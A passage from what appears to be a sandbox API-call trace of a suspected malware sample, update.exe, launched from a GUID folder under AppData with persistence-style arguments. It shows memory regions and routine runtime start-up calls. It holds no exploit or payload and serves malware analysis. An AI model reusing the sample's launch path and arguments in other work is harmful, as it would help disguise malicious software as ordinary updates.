entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2748 start_va = 0x2960000 end_va = 0x2a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 2749 start_va = 0x74ca0000 end_va = 0x74caafff entry_point = 0x74ca0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 2750 start_va = 0xfffaa000 end_va = 0xfffacfff entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 2751 start_va = 0x74c90000 end_va = 0x74c98fff entry_point = 0x74c90000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2758 start_va = 0x74c80000 end_va = 0x74c8cfff entry_point = 0x74c80000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 3219 start_va = 0x2a60000 end_va = 0x2b1ffff entry_point = 0x2a60000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 137 os_tid = 0x5fc [0112.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xca46def0, dwHighDateTime=0x1d4800f)) [0112.619] GetCurrentProcessId () returned 0x7f8 [0112.619] GetCurrentThreadId () returned 0x5fc [0112.619] GetTickCount () returned 0x951d [0112.619] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1808217500000) returned 1 [0112.619] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0112.620] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.621] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0112.621] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0112.621] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0112.621] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0112.621] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.621] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.621] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.621] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.622] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.622] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.622] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.622] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.622] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.622] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.622] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.622] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.622] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.622] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.623] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.623] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0112.623] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.623] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0112.623] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0112.623] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0112.623] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0112.624] GetCurrentThreadId () returned 0x5fc [0112.624] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0112.624] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0112.624] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0112.624] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0112.624] SetHandleCount (uNumber=0x20) returned 0x20 [0112.624] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask" [0112.624] GetEnvironmentStringsW () returned 0x692628* [0112.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0112.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3311f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0112.624] FreeEnvironmentStringsW (penv=0x692628) returned 1 [0112.624] GetLastError () returned 0x0 [0112.624] SetLastError (dwErrCode=0x0) [0112.624] GetLastError () returned 0x0 [0112.625] SetLastError (dwErrCode=0x0) [0112.625] GetLastError () returned 0x0 [0112.625] SetLastError (dwErrCode=0x0) [0112.625] GetACP () returned 0x4e4 [0112.625] GetLastError () returned 0x0 [0112.625] SetLastError (dwErrCode=0x0) [0112.625] IsValidCodePage (CodePage=0x4e4) returned 1 [0112.625] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.625] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0112.625] GetLastError () returned 0x0 [0112.625] SetLastError (dwErrCode=0x0) [0112.625] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0112.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.625] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0112.625] GetLastError () returned 0x0 [0112.625] SetLastError (dwErrCode=0x0) [0112.625] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0112.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᕀ⊸뮓@Ā") returned 256 [0112.625] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᕀ⊸뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0112.625] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᕀ⊸뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xcb\xf7\xb0\xc8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0112.631] GetLastError () returned 0x0 [0112.631] SetLastError (dwErrCode=0x0) [0112.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᕀ⊸뮓@Ā") returned 256 [0112.631] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᕀ⊸뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0112.631] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᕀ⊸뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0112.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5